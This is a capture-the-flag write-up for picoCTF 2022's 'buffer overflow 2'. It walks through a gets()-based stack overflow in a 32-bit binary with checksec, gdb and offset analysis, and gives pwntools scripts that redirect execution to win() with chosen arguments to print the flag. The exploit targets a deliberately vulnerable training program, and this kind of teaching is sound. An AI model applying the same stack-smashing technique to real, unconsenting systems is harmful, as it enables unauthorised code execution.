



Buffer Overflow 2

picoCTF 2022 challenges - [Link to the challenge](#)

Adwait Pathak | aap9113

buffer overflow 2

| 300 points

Tags: Category: Binary Exploitation gets arguments_on_the_stack

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Description

Control the return address and arguments

This time you'll need to control the arguments to the function you return to! Can you get the flag from this [program](#)?

You can view source [here](#). And connect with it using `nc saturn.picoctf.net 61205`

This challenge launches an instance on demand.

Its current status is: **RUNNING**

Instance Time Remaining: **29:37**

[Restart Instance](#)

Hints

1

1,357 solves / 1,404 users attempted (97%)

94% Liked

- We get a binary, a source file and a server to connect to.
- We analyze the binary in Ghidra to see the flow of the program and the functions that will help us in exploitation.
 - Or we can directly view the source code file.
- First, let's check the details of the binary.

```
kali@ubuntu:~/hack/offsec/writeup-task/vulnpico
kali@ubuntu writeup-task/vulnpico » checksec vuln
[*] '/home/kali/hack/offsec/writeup-task/vulnpico/vuln'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
kali@ubuntu writeup-task/vulnpico »
```

- It is a 32-bit binary and hence, we will be using 4 byte increments in our attempt to pwn the binary.
- It also doesn't have a canary but the stack is non-executable.
 - Hence, we can't input our shellcode and transfer the control of the eip pointer to this code.
- But, we see we have a win() function that we will try to transfer the control to.

D: > NYU > Sem_2 > OffSec > buffer_overflow_2 > C vuln.c

```
1  #include <stdio.h>
2  #include <stdlib.h>
3  #include <string.h>
4  #include <unistd.h>
5  #include <sys/types.h>
6
7  #define BUFSIZE 100
8  #define FLAGSIZE 64
9
10 void win(unsigned int arg1, unsigned int arg2) {
11     char buf[FLAGSIZE];
12     FILE *f = fopen("flag.txt", "r");
13     if (f == NULL) {
14         printf("%s %s", "Please create 'flag.txt' in this directory with your",
15             "own debugging flag.\n");
16         exit(0);
17     }
18
19     fgets(buf, FLAGSIZE, f);
20     if (arg1 != 0xCAFEF00D)
21         return;
22     if (arg2 != 0xF00DF00D)
23         return;
24     printf(buf);
25 }
26
27 void vuln(){
28     char buf[BUFSIZE];
29     gets(buf);
30     puts(buf);
31 }
32
33 int main(int argc, char **argv){
34
35     setvbuf(stdout, NULL, _IONBF, 0);
36
37     gid_t gid = getegid();
38     setresgid(gid, gid, gid);
39
40     puts("Please enter your string: ");
41     vuln();
42     return 0;
43 }
```

- ```
kali@ubuntu writeup-task/vulnpico »
kali@ubuntu writeup-task/vulnpico » python3 -c 'print("A"*150)'
AA
AA
kali@ubuntu writeup-task/vulnpico »

kali@ubuntu writeup-task/vulnpico » ./vuln
Please enter your string:
AA
AA
AA
AA
[1] 691446 segmentation fault (core dumped) ./vuln
kali@ubuntu writeup-task/vulnpico »
```
- [sesh] 0:zsh\*
- "ubuntu" 09:04 22-Apr-22

- We get a segmentation fault because of the buffer overflow overwriting important values.
- We can check this in gdb.



of this function and then pack this into a 32bit address using pwntools and then input this to the binary.

```
0x08049290 frame_dummy
0x08049296 win
0x08049338 vuln
0x08049372 main
```

- We write a simple python script using pwntools (thanks to the offsec course)
- We pack the win() address as specified and append it to the offset.
- We send this payload to the binary as user input and print the response.

```
1 from pwn import *
2
3 p = process('./vuln')
4 # p = remote('saturn.picoctf.net', 54731)
5 ret_add = p32(0x08049296)
6
7 payload = b'A'*112 + ret_add
8 print(payload)
9
10 p.sendline(payload)
11 print(p.recv())
12 p.interactive()
```

```
kali@ubuntu writeup-task/vulnpico » python3 pyscript.py
[+] Starting local process './vuln': pid 693022
b'AA\x96\x92\x04\x08'
b'Please enter your string: \n'
[*] Switching to interactive mode
[*] Process './vuln' stopped with exit code 0 (pid 693022)
AA\x96\x92\x04
Please create 'flag.txt' in this directory with your own debugging flag.
[*] Got EOF while reading in interactive
$
```

- The output says that there is no flag in the local version.
- Hence, without seeing the win() function, I tried this on the remote site thinking that it will have a flag.txt and give us the flag contents.
- We do this by making changes to the code, uncommenting the remote part.



```

0x080492ee <+88>: sub esp,0xc
0x080492f1 <+91>: push 0x0
0x080492f3 <+93>: call 0x8049130 <exit@plt>
0x080492f8 <+98>: sub esp,0x4
0x080492fb <+101>: push DWORD PTR [ebp-0xc]
0x080492fe <+104>: push 0x40
0x08049300 <+106>: lea eax,[ebp-0x4c]
0x08049303 <+109>: push eax
0x08049304 <+110>: call 0x8049100 <fgets@plt>
0x08049309 <+115>: add esp,0x10
0x0804930c <+118>: cmp DWORD PTR [ebp+0x8],0xcafef00d
0x08049313 <+125>: jne 0x804932f <win+153>
0x08049315 <+127>: cmp DWORD PTR [ebp+0xc],0xf00df00d
0x0804931c <+134>: jne 0x8049332 <win+156>
0x0804931e <+136>: sub esp,0xc
0x08049321 <+139>: lea eax,[ebp-0x4c]
0x08049324 <+142>: push eax
0x08049325 <+143>: call 0x80490e0 <printf@plt>
0x0804932a <+148>: add esp,0x10
0x0804932d <+151>: jmp 0x8049333 <win+157>
0x0804932f <+153>: nop
0x08049330 <+154>: jmp 0x8049333 <win+157>
0x08049332 <+156>: nop
0x08049333 <+157>: mov ebx,DWORD PTR [ebp-0x4]
0x08049336 <+160>: leave
0x08049337 <+161>: ret
End of assembler dump.
gdb-peda$ b *win+115
Breakpoint 1 at 0x8049309
gdb-peda$
[sesh] 0:gdb* 1:zsh-

```

- We disassemble the win() function to take a deeper look.
- We set a breakpoint before the comparison takes place to check the values that are being held in these parameters.







```

[-----code-----]
0x8049303 <win+109>: push eax
0x8049304 <win+110>: call 0x8049100 <fgets@plt>
0x8049309 <win+115>: add esp,0x10
=> 0x804930c <win+118>: cmp DWORD PTR [ebp+0x8],0xcafef00d
0x8049313 <win+125>: jne 0x804932f <win+153>
0x8049315 <win+127>: cmp DWORD PTR [ebp+0xc],0xf00df00d
0x804931c <win+134>: jne 0x8049332 <win+156>
0x804931e <win+136>: sub esp,0xc
[-----stack-----]
0000| 0xffffd004 ('A' <repeats 12 times>, "flag{offsec_letsgoo}\n")
0004| 0xffffd008 ("AAAAAAflag{offsec_letsgoo}\n")
0008| 0xffffd00c ("AAAAflag{offsec_letsgoo}\n")
0012| 0xffffd010 ("flag{offsec_letsgoo}\n")
0016| 0xffffd014 ("{offsec_letsgoo}\n")
0020| 0xffffd018 ("sec_letsgoo}\n")
0024| 0xffffd01c ("letsgoo}\n")
0028| 0xffffd020 ("goo}\n")
[-----]
Legend: code, data, rodata, value
0x0804930c in win ()
gdb-peda$ x/s $ebp+0x8
0xffffd064: "AAsABAA$AAAnACA"
gdb-peda$ pattern offset 'AAsABAA$AAAnACA'
AAsABAA$AAAnACA found at offset: 4
gdb-peda$ x/s $ebp+0xc
0xffffd068: "ABAA$AAAnACA"
gdb-peda$ pattern offset ABAA$AAAnACA
ABAA$AAAnACA found at offset: 8
gdb-peda$

```

- We see our pattern string and we can find the offset of our unique string at `$ebp+0x8` to be 4. lly, at `$ebp+0xc` is 8.
- Hence, our input string should be of the form:  
`'A'*112 + win_address + 'A'*4 + 0xcafef00d + 0xf00df00d`
- This way, when the eip is turned to win(), during comparison of `$ebp+8` and `$ebp+12`, the correct values will be seen respectively.
- Now, taking all this to our python code, we will try to get the flag on the local binary first.
- The new code will look like the following:

```
1 from pwn import *
2
3 p = process('./vuln')
4 # p = remote('saturn.picoctf.net', 59597)
5 ret_add = p32(0x08049296)
6 a1 = p32(0xcafef00d)
7 b1 = p32(0xf00df00d)
8
9 payload = b'A'*112 + ret_add + b'AAA%' + a1 + b1
10 print(payload)
11
12 p.sendline(payload)
13 print()
14 print(p.recvline())
15 print(p.recvline())
16 print(p.recvline())
```

- Here we keep any 4 characters after the `ret_add` as they don't matter
- The packing of integers is important for the computer to read these bytes of data properly

eg: p32(0xdeadbeef) >> b'\xef\xbe\xad\xde'

- Running this script, we get our debugger flag properly.

```
kali@ubuntu:~$ python3 pycrypt.py
[+] Starting local process './vuln': pid 697020
b'AA\x96\x92\x04\x08AAA%\r\xf0\xfe\xca\r\xf0\r\xf0'

b'Please enter your string: \n'
b'AA\x96\x92\x04\x08AAA%\r\xf0\xfe\xca\r\xf0\r\xf0\n'
b'flag{offsec letsgoo}\n'
[+] Stopped process './vuln' (pid 697020)
```

- Now, we can take this to the remote server.

